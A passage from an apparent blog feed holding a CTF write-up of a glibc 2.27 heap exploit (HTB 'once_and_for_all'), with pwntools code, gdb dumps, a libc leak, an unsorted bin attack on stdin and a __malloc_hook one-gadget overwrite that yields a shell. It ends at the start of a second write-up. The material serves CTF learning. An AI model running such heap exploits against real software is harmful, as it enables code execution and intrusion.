0x555555608580:	0x4141414141414141	0x4141414141414141
0x555555608590:	0x4141414141414141	0x4141414141414141
0x5555556085a0:	0x0a41414141414141	0x0000000000000041 [1]
0x5555556085b0:	0x0000000000000000	0x0000000000000000
0x5555556085c0:	0x0000000000000000	0x0000000000000000
0x5555556085d0:	0x0000000000000000	0x0000000000000000
0x5555556085e0:	0x0000000000000000	0x00000000000000b1 [2] &amp;lt;- Fake size | PREV_INUSE (1)
0x5555556085f0:	0x0000000000000000	0x4343434343434343	 
0x555555608600:	0x4343434343434343	0x4343434343434343	 
0x555555608610:	0x0a43434343434343	0x0000000000000041 [3]	 
0x555555608620:	0x4444444444444444	0x4444444444444444	 
0x555555608630:	0x000000000000000a	0x0000000000000000
0x555555608640:	0x0000000000000000	0x0000000000000000	 
0x555555608650:	0x0000000000000000	0x0000000000000031 [4]	 
0x555555608660:	0x4545454545454545	0x4545454545454545	 
0x555555608670:	0x4545454545454545	0x4545454545454545	 
0x555555608680:	0x0a45454545454545	0x0000000000000031 [10]	 
0x555555608690:	0x0000000000000000	0x0000000000000021 &amp;lt;- Fake chunk header 
0x5555556086a0:	0x000000000000000a	0x0000000000000000
0x5555556086b0:	0x0000000000000000	0x0000000000020951 &amp;lt;- Top chunk


fastbins
0x30: 0x5555556085e0 ◂— 0x0
0x40: 0x555555608560 —▸ 0x5555556085a0 ◂— 0x0
&quot;&quot;&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We allocate 6 chunks, we do need of 6 chunks because of the fake size we write on &lt;code&gt;chunk_2&lt;/code&gt; (&lt;code&gt;&amp;amp;chunk_2&lt;/code&gt; + &lt;code&gt;0xb0&lt;/code&gt; = &lt;code&gt;0x555555608690&lt;/code&gt;, in the last chunk near the top chunk). In the same way we craft a fake header in the body of the last chunk to avoid issues during the release of &lt;code&gt;chunk_2&lt;/code&gt;. If you&apos;re not familiar with the security checks done by &lt;code&gt;malloc&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt;, I would advise you to take a look at &lt;a href=&quot;https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/security_checks&quot;&gt;this resource&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now that &lt;code&gt;chunk_2&lt;/code&gt; has been tampered with a fake &lt;code&gt;0xb0&lt;/code&gt; size, we just have to free it 8 times (to fill the tcache) to put it in the unsorted bin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;freexalloc(2, 560, b&quot;&quot;, doubleFree=True)
freexalloc(2, 560, b&quot;&quot;, doubleFree=True)
freexalloc(2, 560, b&quot;&quot;, doubleFree=True)
freexalloc(2, 560, b&quot;&quot;, doubleFree=True)
freexalloc(2, 560, b&quot;&quot;, doubleFree=True)
freexalloc(2, 560, b&quot;&quot;, doubleFree=True)
freexalloc(2, 560, b&quot;&quot;, doubleFree=True)

freexalloc(2, 560, b&quot;&quot;, doubleFree=True)
# falls into the unsortedbin

show(2)

libc = pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) - 0x3ebca0 # offset of the unsorted bin

stdin = libc + 0x3eba00
pwn.log.info(f&quot;libc: {hex(libc)}&quot;)

&quot;&quot;&quot;
0x555555608560:	0x0000000000000000	0x0000000000000041
0x555555608570:	0x00005555556085a0	0x4141414141414141
0x555555608580:	0x4141414141414141	0x4141414141414141
0x555555608590:	0x4141414141414141	0x4141414141414141
0x5555556085a0:	0x0a41414141414141	0x0000000000000041
0x5555556085b0:	0x0000000000000000	0x0000000000000000
0x5555556085c0:	0x0000000000000000	0x0000000000000000
0x5555556085d0:	0x0000000000000000	0x0000000000000000
0x5555556085e0:	0x0000000000000000	0x00000000000000b1
0x5555556085f0:	0x00007ffff7dcfca0	0x00007ffff7dcfca0
0x555555608600:	0x4343434343434343	0x4343434343434343
0x555555608610:	0x0a43434343434343	0x0000000000000041
0x555555608620:	0x4444444444444444	0x4444444444444444
0x555555608630:	0x000000000000000a	0x0000000000000000
0x555555608640:	0x0000000000000000	0x0000000000000000
0x555555608650:	0x0000000000000000	0x0000000000000031
0x555555608660:	0x4545454545454545	0x4545454545454545
0x555555608670:	0x4545454545454545	0x4545454545454545
0x555555608680:	0x0a45454545454545	0x0000000000000031
0x555555608690:	0x00000000000000b0	0x0000000000000020
0x5555556086a0:	0x000000000000000a	0x0000000000000000
0x5555556086b0:	0x0000000000000000	0x0000000000020951

unsortedbin
all: 0x5555556085e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555556085e0
tcachebins
0xb0 [  7]: 0x5555556085f0 —▸ 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555556086b0 ◂— 0x0
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm@off:~/Documents/pwn/HTB/apocalypse/onceAndmore$ python3 exploit.py LOCAL GDB NOASLR
[*] &apos;/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/once_and_for_all&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b&apos;/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/out&apos;
[!] Debugging process with ASLR disabled
[+] Starting local process &apos;/usr/bin/gdbserver&apos;: pid 31378
[*] running in new terminal: [&apos;/usr/bin/gdb&apos;, &apos;-q&apos;, &apos;/home/nasm/Documents/pwn/HTB/apocalypse/onceAndmore/once_and_for_all&apos;, &apos;-x&apos;, &apos;/tmp/pwn1z_5e0ie.gdb&apos;]
[*] libc: 0x7ffff79e4000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We now have achieved the first step of the challenge: leak the libc base address.&lt;/p&gt;
&lt;h2&gt;What can we target in the libc ?&lt;/h2&gt;
&lt;p&gt;There are a lot of ways to achieve code execution according to what I red in other write-ups, I choose to attack &lt;code&gt;_IO_stdin&lt;/code&gt; by running an unsorted bin attack on its &lt;code&gt;_IO_buf_end&lt;/code&gt; field which holds the end of the internal buffer of &lt;code&gt;stdin&lt;/code&gt; from &lt;code&gt;_IO_buf_base&lt;/code&gt;, according to the &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.27/source/libio/fileops.c#L469&quot;&gt;glibc source code&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp-&amp;gt;_flags &amp;amp; _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp-&amp;gt;_flags &amp;amp; _IO_NO_READS)
    {
      fp-&amp;gt;_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
    return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;

  if (fp-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  /* Flush all line buffered files before reading. */
  /* FIXME This can/should be moved to genops ?? */
  if (fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      _IO_flush_all_linebuffered ();
#else
      /* We used to flush all line-buffered stream.  This really isn&apos;t
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout-&amp;gt;_flags &amp;amp; (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
#endif
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_write_end
    = fp-&amp;gt;_IO_buf_base;

  count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);
  if (count &amp;lt;= 0)
    {
      if (count == 0)
	fp-&amp;gt;_flags |= _IO_EOF_SEEN;
      else
	fp-&amp;gt;_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp-&amp;gt;_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp-&amp;gt;_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp-&amp;gt;_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp-&amp;gt;_offset, count);
  return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interesting part is the &lt;code&gt;count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);&lt;/code&gt; which reads &lt;code&gt;fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base&lt;/code&gt; bytes in &lt;code&gt;fp-&amp;gt;_IO_buf_base&lt;/code&gt;. Which means if &lt;code&gt;fp-&amp;gt;_IO_buf_end&lt;/code&gt; is replaced with the help of an unsorted bin attack by the address of the unsorted bin and that &lt;code&gt;&amp;amp;unsorted bin &amp;gt; fp-&amp;gt;_IO_buf_base&lt;/code&gt;, we can trigger an out of bound write from a certain address up to the address of the unsorted bin. We can inspect the layout in gdb to see what&apos;s actually going on:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/100gx stdin
0x7ffff7dcfa00 &amp;lt;_IO_2_1_stdin_&amp;gt;:	0x00000000fbad208b	0x00007ffff7dcfa83
0x7ffff7dcfa10 &amp;lt;_IO_2_1_stdin_+16&amp;gt;:	0x00007ffff7dcfa83	0x00007ffff7dcfa83
0x7ffff7dcfa20 &amp;lt;_IO_2_1_stdin_+32&amp;gt;:	0x00007ffff7dcfa83	0x00007ffff7dcfa83
0x7ffff7dcfa30 &amp;lt;_IO_2_1_stdin_+48&amp;gt;:	0x00007ffff7dcfa83	0x00007ffff7dcfa83
0x7ffff7dcfa40 &amp;lt;_IO_2_1_stdin_+64&amp;gt;:	0x00007ffff7dcfa84	0x0000000000000000
0x7ffff7dcfa50 &amp;lt;_IO_2_1_stdin_+80&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfa60 &amp;lt;_IO_2_1_stdin_+96&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfa70 &amp;lt;_IO_2_1_stdin_+112&amp;gt;:	0x0000001000000000	0xffffffffffffffff
0x7ffff7dcfa80 &amp;lt;_IO_2_1_stdin_+128&amp;gt;:	0x000000000a000000	0x00007ffff7dd18d0
0x7ffff7dcfa90 &amp;lt;_IO_2_1_stdin_+144&amp;gt;:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dcfaa0 &amp;lt;_IO_2_1_stdin_+160&amp;gt;:	0x00007ffff7dcfae0	0x0000000000000000
0x7ffff7dcfab0 &amp;lt;_IO_2_1_stdin_+176&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfac0 &amp;lt;_IO_2_1_stdin_+192&amp;gt;:	0x00000000ffffffff	0x0000000000000000
0x7ffff7dcfad0 &amp;lt;_IO_2_1_stdin_+208&amp;gt;:	0x0000000000000000	0x00007ffff7dcc2a0
0x7ffff7dcfae0 &amp;lt;_IO_wide_data_0&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfaf0 &amp;lt;_IO_wide_data_0+16&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb00 &amp;lt;_IO_wide_data_0+32&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb10 &amp;lt;_IO_wide_data_0+48&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb20 &amp;lt;_IO_wide_data_0+64&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb30 &amp;lt;_IO_wide_data_0+80&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb40 &amp;lt;_IO_wide_data_0+96&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb50 &amp;lt;_IO_wide_data_0+112&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb60 &amp;lt;_IO_wide_data_0+128&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb70 &amp;lt;_IO_wide_data_0+144&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb80 &amp;lt;_IO_wide_data_0+160&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfb90 &amp;lt;_IO_wide_data_0+176&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfba0 &amp;lt;_IO_wide_data_0+192&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfbb0 &amp;lt;_IO_wide_data_0+208&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfbc0 &amp;lt;_IO_wide_data_0+224&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfbd0 &amp;lt;_IO_wide_data_0+240&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfbe0 &amp;lt;_IO_wide_data_0+256&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfbf0 &amp;lt;_IO_wide_data_0+272&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc00 &amp;lt;_IO_wide_data_0+288&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc10 &amp;lt;_IO_wide_data_0+304&amp;gt;:	0x00007ffff7dcbd60	0x0000000000000000
0x7ffff7dcfc20 &amp;lt;__memalign_hook&amp;gt;:	0x00007ffff7a7b410	0x00007ffff7a7c790
0x7ffff7dcfc30 &amp;lt;__malloc_hook&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc40 &amp;lt;main_arena&amp;gt;:	0x0000000000000000	0x0000000000000001
0x7ffff7dcfc50 &amp;lt;main_arena+16&amp;gt;:	0x0000000000000000	0x00005555556085e0
0x7ffff7dcfc60 &amp;lt;main_arena+32&amp;gt;:	0x0000555555608560	0x0000000000000000
0x7ffff7dcfc70 &amp;lt;main_arena+48&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc80 &amp;lt;main_arena+64&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc90 &amp;lt;main_arena+80&amp;gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfca0 &amp;lt;main_arena+96&amp;gt;:	0x00005555556086b0	&amp;lt;- &amp;amp;unsortedbin = 0x7ffff7dcfca0
pwndbg&amp;gt; p *stdin
$1 = {
  _flags = -72540021,
  _IO_read_ptr = 0x7ffff7dcfa83 &amp;lt;_IO_2_1_stdin_+131&amp;gt; &quot;\n&quot;,
  _IO_read_end = 0x7ffff7dcfa83 &amp;lt;_IO_2_1_stdin_+131&amp;gt; &quot;\n&quot;,
  _IO_read_base = 0x7ffff7dcfa83 &amp;lt;_IO_2_1_stdin_+131&amp;gt; &quot;\n&quot;,
  _IO_write_base = 0x7ffff7dcfa83 &amp;lt;_IO_2_1_stdin_+131&amp;gt; &quot;\n&quot;,
  _IO_write_ptr = 0x7ffff7dcfa83 &amp;lt;_IO_2_1_stdin_+131&amp;gt; &quot;\n&quot;,
  _IO_write_end = 0x7ffff7dcfa83 &amp;lt;_IO_2_1_stdin_+131&amp;gt; &quot;\n&quot;,
  _IO_buf_base = 0x7ffff7dcfa83 &amp;lt;_IO_2_1_stdin_+131&amp;gt; &quot;\n&quot;,
  _IO_buf_end = 0x7ffff7dcfa84 &amp;lt;_IO_2_1_stdin_+132&amp;gt; &quot;&quot;,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0,
  _flags2 = 16,
  _old_offset = -1,
  _cur_column = 0,
  _vtable_offset = 0 &apos;\000&apos;,
  _shortbuf = &quot;\n&quot;,
  _lock = 0x7ffff7dd18d0 &amp;lt;_IO_stdfile_0_lock&amp;gt;,
  _offset = -1,
  _codecvt = 0x0,
  _wide_data = 0x7ffff7dcfae0 &amp;lt;_IO_wide_data_0&amp;gt;,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = -1,
  _unused2 = &apos;\000&apos; &amp;lt;repeats 19 times&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see right above and according to the source code showed previously, &lt;code&gt;_IO_stdin-&amp;gt;_IO_buf_base&lt;/code&gt; points toward &lt;code&gt;_IO_stdin-&amp;gt;_shortbuf&lt;/code&gt;, an internal buffer directly in &lt;code&gt;stdin&lt;/code&gt;. And &lt;code&gt;&amp;amp;unsortedbin &amp;gt; _IO_buf_base &amp;gt; stdin&lt;/code&gt;. If you do not understand fully my explanations, I advise you to take a look at &lt;a href=&quot;https://nightrainy.github.io/2019/08/07/play-withe-file-structure-%E6%90%AC%E8%BF%90/&quot;&gt;this great article&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Then we should be able to control every bytes between &lt;code&gt;&amp;amp;stdin-&amp;gt;_shortbuf&lt;/code&gt; and &lt;code&gt;&amp;amp;unsortedbin&lt;/code&gt;. And the incredible thing to note is that in this small range, there is what every heap pwner is always looking for: &lt;code&gt;__malloc_hook&lt;/code&gt; !!&lt;/p&gt;
&lt;p&gt;Then we just have to overwrite the pointers inside &lt;code&gt;stdin&lt;/code&gt;, &lt;code&gt;_IO_wide_data_0&lt;/code&gt; and &lt;code&gt;__memalign_hook&lt;/code&gt; to finally reach &lt;code&gt;__malloc_hook&lt;/code&gt; and write the address of a one-gadget !&lt;/p&gt;
&lt;h2&gt;Unsorted bin attack on stdin-&amp;gt;_IO_buf_end&lt;/h2&gt;
&lt;p&gt;Here was theory, let&apos;s see how we can do that. To understand unsorted bin attack &lt;a href=&quot;https://squarepants0.github.io/2020/10/20/unsorted-bin-attack/&quot;&gt;here&lt;/a&gt; is a good article about unsorted bin attack. The unsorted bin attack using partial unlink is basically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;overwrite the backward pointer of the last chunk in the unsorted bin by &lt;code&gt;&amp;amp;target - 0x10&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;request the &lt;strong&gt;exact&lt;/strong&gt; size of the last chunk in the unsorted bin&lt;/li&gt;
&lt;li&gt;It should write at &lt;code&gt;&amp;amp;target&lt;/code&gt; the address of the unsorted bin&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An essential thing to note is that if there is no chunks in your fastbin / smallbin and that you&apos;re requesting a fastbin/smallbin-sized chunk, the unsorted bin will be inspected and if the last chunk doesn&apos;t fit the request, the program will most of the time issues a &lt;code&gt;malloc(): memory corruption&lt;/code&gt;. Anyway the best thing to do is to take a look at the &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3519&quot;&gt;code&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void *
_int_malloc (mstate av, size_t bytes)
{

// It checks first fastbin then smallbin then unsorted bin

for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)-&amp;gt;bk) != unsorted_chunks (av))
        {
          bck = victim-&amp;gt;bk;
          if (__builtin_expect (chunksize_nomask (victim) &amp;lt;= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
				   &amp;gt; av-&amp;gt;system_mem, 0))
            malloc_printerr (&quot;malloc(): memory corruption&quot;);
          size = chunksize (victim);

          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */

          if (in_smallbin_range (nb) &amp;amp;&amp;amp;
              bck == unsorted_chunks (av) &amp;amp;&amp;amp;
              victim == av-&amp;gt;last_remainder &amp;amp;&amp;amp;
              (unsigned long) (size) &amp;gt; (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              unsorted_chunks (av)-&amp;gt;bk = unsorted_chunks (av)-&amp;gt;fd = remainder;
              av-&amp;gt;last_remainder = remainder;
              remainder-&amp;gt;bk = remainder-&amp;gt;fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder-&amp;gt;fd_nextsize = NULL;
                  remainder-&amp;gt;bk_nextsize = NULL;
                }

              set_head (victim, nb | PREV_INUSE |
                        (av != &amp;amp;main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

          /* remove from unsorted list */
          unsorted_chunks (av)-&amp;gt;bk = bck;
          bck-&amp;gt;fd = unsorted_chunks (av);

          /* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &amp;amp;main_arena)
		set_non_main_arena (victim);
#if USE_TCACHE
	      /* Fill cache first, return to user only if cache fills.
		 We may return one of these chunks later.  */
	      if (tcache_nb
		  &amp;amp;&amp;amp; tcache-&amp;gt;counts[tc_idx] &amp;lt; mp_.tcache_count)
		{
		  tcache_put (victim, tc_idx);
		  return_cached = 1;
		  continue;
		}
	      else
		{
#endif
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
#if USE_TCACHE
		}
#endif
            }

	[...]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;According to what I said earlier, the goal is to replace &lt;code&gt;stdin-&amp;gt;_IO_buf_end&lt;/code&gt; with &lt;code&gt;&amp;amp;unsortedbin&lt;/code&gt; which means we have to write to the backward pointer of the last chunk in the unsorted bin (chunk_2) &lt;code&gt;&amp;amp;stdin-&amp;gt;_IO_buf_end - 0x10&lt;/code&gt;. To do so we can trigger a write after free primitive by taking back &lt;code&gt;chunk_2&lt;/code&gt; from the unsorted bin to the fastbin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&quot;&quot;
Before:
0x30: 0x5555556085e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555556085e0
0x40: 0x555555608560 —▸ 0x5555556085a0 ◂— 0x0
unsortedbin
all: 0x5555556085e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555556085e0
&quot;&quot;&quot;

add(7, 56, b&quot;A&quot;*55) # pop it to access to chunk_1

add(8, 56, b&quot;A&quot;*56 + b&quot;\x31&quot;) # restore valid fastbin chunk part of the 0x30 freelist
# put it back to the fastbin 

add(9, 40, pwn.p64(libc + 0x3ebca0) + pwn.p64(stdin + 0x40 - 0x10))
# Write after free, &amp;amp;stdin-&amp;gt;_IO_buf_end = stdin + 0x40, minus 0x10 point to the fake header

&quot;&quot;&quot;
After:
0x30: 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555556085e0 ◂— 0x7ffff7dcfca0
unsortedbin
all [corrupted]
FD: 0x5555556085e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555556085e0
BK: 0x5555556085e0 —▸ 0x7ffff7dcfa30 (_IO_2_1_stdin_+48) ◂— 0x0
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can read right above, the &lt;code&gt;chunk_2&lt;/code&gt; has its backward pointer set to &lt;code&gt;&amp;amp;stdin-&amp;gt;_IO_buf_end - 0x10&lt;/code&gt;. To achieve the partial unlink we just have to request a &lt;code&gt;0x30&lt;/code&gt; sized chunk with nothing in the fastbin freelists. That&apos;s the last step of the unsortedbin attack, clean out the fastbin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&quot;&quot;
Before: same as above
&quot;&quot;&quot;

# == clean fastbin

freexalloc(5, 560, b&quot;&quot;, doubleFree=True)

freexalloc(4, 560, b&quot;&quot;, doubleFree=True)
add(11, 56, b&quot;1&quot;*56 + b&quot;\x40&quot;)

freexalloc(5, 560, b&quot;&quot;, doubleFree=True)
add(12, 56, pwn.p64(0))

freexalloc(4, 560, b&quot;&quot;, doubleFree=True)
add(13, 56, b&quot;1&quot;*56 + b&quot;\x30&quot;)

add(14, 40, b&quot;1&quot;*10)

# == clean fastbin

&quot;&quot;&quot;
fastbins
0x30: 0x0
0x40: 0x0
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we just have to ask for a &lt;code&gt;0x30&lt;/code&gt; sized chunk:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add(3, 40, b&quot;1337&quot;, hang=True)
pwn.log.info(f&quot;unsortedbin attack done on: {hex(stdin + 0x40 - 0x10)}&quot;)
pwn.log.info(f&quot;Enjoy your shell!&quot;)

&quot;&quot;&quot;
After:
0x7ffff7dcfa40 &amp;lt;_IO_2_1_stdin_+64&amp;gt;:	0x00007ffff7dcfca0 &amp;lt;- stdin-&amp;gt;_IO_buf_end
0x7ffff7dcfca0 &amp;lt;main_arena+96&amp;gt;:	0x00005555556086b0 &amp;lt;- unsortedbin
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;FSOP + PROFIT&lt;/h2&gt;
&lt;p&gt;The last part is very easy, we just have to overflow up to &lt;code&gt;&amp;amp;__malloc_hook&lt;/code&gt; to write the one-gadget:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;io.sendline(b&quot;&quot;) 
io.recvuntil(b&quot;&amp;gt;&amp;gt; &quot;) 
io.send( 
        b&quot;4\n\x00\x00\x00&quot; + 
        pwn.p64(libc + 0x3ed8d0) + 
        pwn.p64(0xffffffffffffffff) + 
        pwn.p64(0) + 
        pwn.p64(libc + 0x3ebae0) + 
        pwn.p64(0) * 3 + 
        pwn.p64(0x00000000ffffffff) + 
        pwn.p64(0) * 2 + 
        pwn.p64(libc + 0x3e82a0) + 
        pwn.p8(0) * 0x150 +  
        # !!!!! 
        pwn.p64(libc + 0x10a38c) # &amp;lt;- one-gadget
        #pwn.p64(libc + 0x4f322) 
        # pwn.p64(0x1337) 
        )
&quot;&quot;&quot;
0x10a38c execve(&quot;/bin/sh&quot;, rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;4\n\x00\x00\x00&lt;/code&gt; corresponds to the option that asks for the huge chunk (we cannot allocate standards chunks anymore) which will trigger &lt;code&gt;__malloc_hook&lt;/code&gt; :).&lt;/p&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@3b9bf5405b71:/mnt# python3 exploit.py REMOTE HOST=167.172.56.180 PORT=30332
[*] &apos;/mnt/once_and_for_all&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b&apos;/mnt/out&apos;
[+] Opening connection to 167.172.56.180 on port 30332: Done
[*] Switching to interactive mode

How much space do you need for this massive weapon: Adding to your inventory..
$ id
uid=100(ctf) gid=101(ctf)
$ ls
flag.txt
glibc
once_and_for_all
$ cat flag.txt
HTB{m4y_th3_f0rc3_b3_w1th_B0Nn13!}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Find the tasks and the final exploit &lt;a href=&quot;https://github.com/ret2school/ctf/blob/master/2022/apocalypse/onceAndmore/&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://github.com/ret2school/ctf/blob/master/2022/apocalypse/onceAndmore/exploit.py&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>[pwnable - pwn] Bookwriter</title><link>https://n4sm.github.io/posts/bookwriter/</link><guid isPermaLink="true">https://n4sm.github.io/posts/bookwriter/</guid><description>Write-up about a heap exploitation challenge</description><pubDate>Tue, 19 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What we can do&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In the edit feature, we can overwrite the bytes right after any chunk up to the &lt;code&gt;NULL&lt;/code&gt; byte.&lt;/li&gt;
&lt;li&gt;In the alloc handler, it iterates once too may times through the alloc array, which means it can overlap on the first entry of the size array with a huge size which would be a chunk address, then we can easily trigger large heap overflow.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The libc version is &lt;code&gt;2.23&lt;/code&gt; which means there not a lot of security checks about &lt;code&gt;_IO_FILE_plus&lt;/code&gt; integrity compared to more recent versions.&lt;/p&gt;
&lt;h2&gt;Top chunk free&apos;in&lt;/h2&gt;
